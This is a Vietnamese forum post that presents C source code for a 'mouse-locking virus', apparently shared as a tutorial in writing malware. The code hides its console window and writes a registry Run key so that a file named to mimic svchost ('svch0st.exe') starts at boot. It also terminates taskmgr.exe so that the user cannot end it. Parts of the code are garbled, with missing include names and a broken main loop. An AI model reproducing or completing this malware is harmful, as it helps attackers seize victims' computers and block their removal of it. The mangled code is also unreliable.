Lập trình virus trên C - viết virus khóa chuột

**admin** 1/4/2010, 2:28 pm

Code:: #include #include #include #include #include #define BUFSIZE 90 int test_key(void); int create_key(char *); int kill(void); BOOL KillProcess(LPSTR lpszExecutable) { BOOL bResult = FALSE; PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) }; HANDLE hProcess, hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(Process32First(hProcesses, &pe32)){ do{ if(CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, pe32.szExeFile, -1, lpszExecutable, -1) == CSTR_EQUAL){ if((hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID)) != NULL){ TerminateProcess(hProcess, 0); CloseHandle(hProcess); bResult = TRUE; } } }while(Process32Next(hProcesses, &pe32)); CloseHandle(hProcesses); } return bResult; } int main(void) { int test,create; test=test_key(); if (test==2) { char *path="c:\\WINDOWS\\svch0st.exe"; create=create_key(path); } HWND inv; AllocConsole(); inv=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(inv,0); int c; for(c=0;c<999999999999;c++) buf_length="BUFSIZE;" reg_key="RegOpenKeyEx(HKEY_LOCAL_MACHINE," check="1;" reg_key="RegQueryValueEx(hKey,">BUFSIZE)) check=2; if(reg_key==0) check=0; RegCloseKey(hKey); return check; } int create_key(char *path) { int reg_key,check; HKEY hkey; reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); if(reg_key==0) { RegSetValueEx((HKEY)hkey,"Windows files",0,REG_SZ,(BYTE *)path,strlen(path)); check=0; return check; } if(reg_key!=0) check=1; return check; } int kill(void) { return KillProcess("taskmgr.exe"); }